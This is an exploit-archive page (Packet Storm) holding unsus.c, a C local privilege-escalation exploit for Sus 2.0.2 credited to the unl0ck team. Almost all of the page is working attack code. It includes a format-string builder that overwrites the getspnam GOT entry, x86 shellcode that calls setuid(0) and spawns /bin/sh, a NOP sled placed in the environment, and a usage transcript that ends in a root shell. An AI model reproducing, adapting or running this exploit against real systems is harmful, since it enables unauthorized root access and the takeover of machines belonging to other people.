exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

unsus.c

unsus.c
Posted Nov 2, 2005
Authored by unl0ck, Darkeagle | Site exploiterz.org

SuS local root exploit.

tags | local, root
SHA-256 | 3da4ab0d6149a4ab235794752844be10fea1ee9025046d1e74fcfcf4c206074d

unsus.c

Change Mirror Download
/*        Sus 2.0.2 local root exploit

tested on Red Hat and Solaris.
usage:
./unsus -o offset -g GOT address of getspnam() function

example:

[root@localhost home]# objdump -R /usr/bin/sus | grep getspnam

/usr/bin/sus: file format elf32-i386

8049608 R_386_JUMP_SLOT getspnam
[root@localhost home]# gcc unsus.c -o unsus
[root@localhost home]# ./unsus

Sus 2.0.2 local root exploit
by D4rk Eagle
unl0ck team [http://unl0ck.org]

usage: unsus [options]

Options:
-o [offset] -g [GOT]

[root@localhost home]# ./unsus -o 2000 -g 0x8049608

Using: retaddr = 0xbffffe88, GOT = 0x8049608, OFFSET = 2000

sh-2.05b#

IT'S ALL :)

Greetz to:

tal0n, n3o, stine, nekd0, mihey, b0r0dat0r, xoce, cr0n, f00n, xbIx, Darksock, forsyte.

*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define BIN "/usr/bin/sus"

char buf[100];

char shallcode[] = // unl0ck team demo shellcode :) example without setuid(0)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char shellcode[] = // 1337 unl0ck team small shellcode with setuid(0) ;)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

long getsp() {
__asm__("movl %esp,%eax");
}

// format string creator | xCrZx idea.
char *fmt_str_creator(long GOT, long RET, int ALIGN) {

long high,low;
memset(buf,0x00,sizeof(buf));

high=(RET >> 16) & 0xffff;
low = RET & 0xffff;

sprintf(buf,"%c%c%c%c%c%c%c%c%%.%dx%%%d$hn%%.%dx%%%d$hn",
(char)((GOT&0xff)+2),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
(char)(GOT&0xff),(char)((GOT>>8)&0xff),(char)((GOT>>16)&0xff),(char)((GOT>>24)&0xff),
(high>low)?(low-8):(high-8),
(high>low)?(ALIGN+1):(ALIGN),
(high>low)?(high-low):(low-high),
(high>low)?(ALIGN):(ALIGN+1));

return buf;


}

void usage() {
printf("\nSus 2.0.2 local root exploit\nby D4rk Eagle\nunl0ck team [http://unl0ck.blackhatz.info]\n\n");
printf("usage: unsus [options]\n\nOptions:\n-o [offset] -g [GOT]\n\n");
exit(0);
}


int main(int argc, char **argv) {

long GOT;
long RET;
int ALIGN = 2, off = 0, opt;

char *av[3], *ev[2];
char *hack, buff[100];

hack = (char *)malloc(2000);
sprintf(hack, "HACK=");

if ( argc < 4 ) { usage(); exit(0); }

while ((opt = getopt(argc, argv, "o:g:")) != -1)
{
switch (opt) {

case 'o':
off = atoi(optarg);
break;

case 'g':
sscanf(optarg, "0x%x", &GOT);
break;

default:
usage();
}
}

memset(hack + 5, 0x90, 1000-1-strlen(shellcode));
sprintf(hack + 1000 - strlen(shellcode), "%s", shellcode);

RET = getsp()+off;
printf("\nUsing: retaddr = 0x%x, GOT = 0x%x, OFFSET = %d\n\n", RET, GOT, off);
memset(buff,0x00,sizeof(buf));
sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN));

av[0] = BIN;
av[1] = buff;
av[2] = 0;
ev[0] = hack;
ev[1] = 0;
execve(*av, av, ev);

return 0;
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close